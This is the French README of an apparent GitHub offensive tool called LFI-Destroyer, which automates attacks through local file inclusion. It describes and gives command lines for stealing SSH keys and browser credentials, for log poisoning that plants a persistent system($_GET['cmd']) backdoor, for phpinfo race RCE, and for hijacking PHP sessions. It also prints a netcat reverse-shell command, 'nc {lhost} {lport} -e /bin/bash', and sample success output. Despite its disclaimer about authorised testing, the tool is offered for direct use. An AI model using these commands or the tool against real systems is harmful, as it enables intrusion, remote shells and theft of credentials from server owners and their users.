
Ce programme vous demande les informations d'inclusion de fichier local (LFI) et recherchera automatiquement le fichier /etc/passwd. En utilisant les noms d'utilisateurs trouvés, il recherchera et téléchargera toute clé SSH ou variation de clés vers l'ordinateur local. Ce programme exécute également l'exploit de chemin de traversée CVE-2021-41773_ pour Apache 2.4.49 et 2.4.50, en plus d'autres vulnérabilités LFI.
🔥 LFI-Destruction – Framework de Tests d'Intrusion Autorisés LFI-Destroyer est un framework d'exploitation complet et modulaire pour les inclusions de fichiers locaux (LFI), conçu pour les professionnels de la sécurité autorisés. Il combine plusieurs techniques d'attaque en un seul outil simple d'utilisation :
Fuzzing d'artefacts SSH & navigateur – Recherche de clés SSH, Putty PPK, WinSCP, FileZilla, Firefox, Chrome, Edge et identifiants Brave sous Linux & Windows.
Empoisonnement de logs → Shell inversé – RCE automatique via des fichiers de logs modifiables avec prise en charge de charges utiles personnalisées.
RCE par course critique phpinfo() – LFI2RCE entièrement automatisée lorsque file_uploads=On et phpinfo() est accessible.
Déclenchement par fichier téléversé – Inclusion et exécution d'un shell PHP déjà téléversé via LFI.
Énumération de sessions PHP – Téléchargement et décodage de fichiers de session pour le détournement.
LFI-OSCP.py EST la version sécurisée pour l'examen OSCP, qui ne contient aucun exploit automatique. C'est essentiellement un fuzzer très élégant qui, une fois l'exploit confirmé, affiche des instructions manuelles sur la façon de l'exécuter.
⚠️ AVERTISSEMENT LÉGAL Cet outil est uniquement destiné à des fins éducatives et à des tests de sécurité autorisés. Vous devez avoir une autorisation écrite explicite du propriétaire du système avant de l'utiliser. L'accès non autorisé aux systèmes informatiques est illégal et contraire à l'éthique. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.
📦 Installation bash
git clone https://github.com/RevShellXD/LFI-Destroyer.git cd LFI-Destroyer
pip install colorama
chmod +x LFI-Destroyer.py 🚀 Démarrage rapide – Mode 1 (Fuzzing d'artefacts SSH / navigateur) bash python3 LFI-Destroyer.py Sélectionnez Linux ou Windows.
LFI-Destruction/ LFI-Destruction.py
modes/init.py ,mode3_phpinfo_race.py, mode4_upload_trigger.py, mode5_session_grabber.py
artifacts/
README.md
Choisissez le mode d'attaque 1.
Suivez les invites pour configurer votre point de terminaison LFI.
Le script énumérera automatiquement les utilisateurs, vérifiera leur existence (Windows utilise la balise NTUSER.DAT) et fuzze récursivement les clés SSH, les identifiants de navigateur et autres fichiers sensibles.
Tous les artefacts sont enregistrés dans le répertoire ./artifacts/.
📝 Mode 2 – Empoisonnement de logs et shell inversé bash python3 LFI-Destroyer.py --log-poisoning --log-vector ua Ou exécutez en mode interactif et sélectionnez le mode 2.
Ce qui se passe :
Injecte une charge utile de test PHP via le User‑Agent (ou le vecteur choisi).
Tente d'inclure des fichiers de logs courants (Apache, Nginx, SSH, logs système, XAMPP/WAMP/IIS sous Windows).
Si un log modifiable est trouvé, injecte une porte dérobée persistante system($_GET['cmd']).
Confirme la RCE avec id (Linux) ou whoami (Windows).
Demande un écouteur de shell inversé et délivre un shell inversé bash (Linux) ou PowerShell (Windows).
Shell inversé personnalisé :
bash python3 LFI-Destroyer.py --log-poisoning --log-vector ua --custom-shell "nc {lhost} {lport} -e /bin/bash" Les espaces réservés {lhost} et {lport} seront remplacés par votre IP/port d'écouteur.
🧪 BÊTA – Mode 3 : RCE par course critique phpinfo() Statut : Bêta – Fonctionne de manière fiable sur les serveurs PHP mal configurés avec file_uploads=On et phpinfo() accessible.
Prérequis :
file_uploads = On (détecté automatiquement)
post_max_size ≥ upload_max_filesize (détecté automatiquement)
Vulnérabilité LFI
Accès à une page phpinfo() (le script force brutale des emplacements courants)
Exécutez :
bash python3 LFI-Destroyer.py
Fournissez les détails LFI comme d'habitude Le script :
text [] Bruteforcing phpinfo.php (45 chemins) ... [+] phpinfo.php trouvé à http://192.168.1.100/phpinfo.php [+] file_uploads=On (taille max : 8M) [+] Tenter la RCE par course critique ? (o/N) : o [] Tentative de course 1/3 ... [+] Chemin de fichier temporaire extrait : /tmp/phpABC123 [+] RCE confirmée via fichier temporaire ! [!] EMPOISONNEMENT DE LOG RÉUSSI ! Prêt à passer au shell inversé. 🧪 BÊTA – Mode 4 : Déclenchement par fichier téléversé Statut : Bêta – Suppose que vous avez déjà téléversé un shell PHP (par exemple via une autre vulnérabilité ou téléversement manuel). Le script utilise ensuite LFI pour l'inclure et exécuter des commandes.
Deux modes de fonctionnement :
Chemin exact – Vous savez où se trouve le fichier (ex. : uploads/shell.php).
Force brute – Laissez le script essayer les répertoires de téléversement courants + noms de fichiers.
Exécutez :
bash python3 LFI-Destroyer.py
Entrez le chemin ou 'brute' Le script :
text Entrez le chemin du fichier téléversé (relatif à la racine web), ou 'brute' pour essayer les emplacements courants : uploads/shell.php [*] Tentative uploads/shell.php ... [+] SUCCÈS ! Shell exécuté à uploads/shell.php [+] Sortie de la commande : www-data Tenter un shell inversé ? (o/N) : o 🧪 BÊTA – Mode 5 : Énumération et détournement de sessions PHP Statut : Bêta – Lit les fichiers de session depuis session.save_path (déterminé via phpinfo() ou une liste de mots de repli), les enregistre et tente un décodage base64 si nécessaire.
Exécutez :
bash python3 LFI-Destroyer.py
Fournissez l'ID de session ou 'list' pour énumérer Exemples :
text Entrez l'ID de session à récupérer (PHPSESSID), ou 'list' pour énumérer : abc123 [*] Lecture de /var/lib/php/sessions/sess_abc123 ... [+] Fichier de session récupéré ! [--- DONNÉES DE SESSION (brutes) ---] username|s:5:"admin";user_id|i:1; Liste des répertoires de session (si l'indexation des répertoires est activée) :
text Entrez l'ID de session à récupérer (PHPSESSID), ou 'list' pour énumérer : list [+] 12 fichiers de session trouvés :
🧠 Mode avancé (-adv) Active des techniques LFI supplémentaires :
LFI par paramètre POST
LFI par Cookie/Header
Wrappers PHP (php://filter, data://, expect://)
Liste de mots personnalisée pour le fuzzing d'artefacts
Détection automatique de profondeur
bash python3 LFI-Destroyer.py -adv ⚙️ Options en ligne de commande Option Description --os {linux,windows} Forcer l'OS cible --auto-depth Détection automatique de la profondeur de traversée --wordlist FICHIER Liste de mots personnalisée pour les chemins de fichiers (remplace les valeurs par défaut de l'OS) --userlist FICHIER Noms d'utilisateurs Windows personnalisés (mode 1) --beacon-file CHEMIN Fichier de balise personnalisé (par défaut : NTUSER.DAT) --custom-shell COMMANDE Commande de shell inversé personnalisée (utiliser {lhost} et {lport}) --log-poisoning Active le mode 2 depuis la CLI (pas de sélection interactive de mode) --log-vector {ua,referer,xff,header,param} Vecteur d'injection pour l'empoisonnement de logs --log-header NOM Nom d'en-tête personnalisé (pour vector=header) --log-param NOM Nom de paramètre personnalisé (pour vector=param) --log-files FICHIER Liste personnalisée de chemins de logs --rce-command COMMANDE Commande de test pour la vérification de RCE --proxy URL Proxy HTTP (ex. : http://127.0.0.1:8080) --rate FLOTTANT Délai entre les requêtes (en secondes) --output FICHIER Enregistrer les résultats en JSON --dry-run Tester la configuration – aucune requête envoyée --no-color Désactiver la sortie colorée
Les modes 3, 4 et 5 sont chargés dynamiquement depuis le répertoire modes/. Vous pouvez facilement ajouter de nouveaux modes en déposant un fichier Python avec une fonction run(config, fuzzer).
🧰 Prérequis Python 3.8+
colorama (optionnel, pour la sortie colorée)
Aucune autre dépendance – le script utilise uniquement la bibliothèque standard.
📜 Licence & Auteur Écrit par RevShellXD Sous licence MIT – gratuit pour les professionnels de la sécurité autorisés.
Pour une utilisation éducative et des tests autorisés uniquement. Si vous enfreignez la loi avec cet outil, vous êtes seul responsable.
⭐ Soutenir et Contribuer Si vous trouvez cet outil utile, veuillez mettre une étoile (star) sur le dépôt GitHub. Les pull requests et les contributions de nouveaux modes sont les bienvenues – suivez l'interface de module simple dans modes/init.py.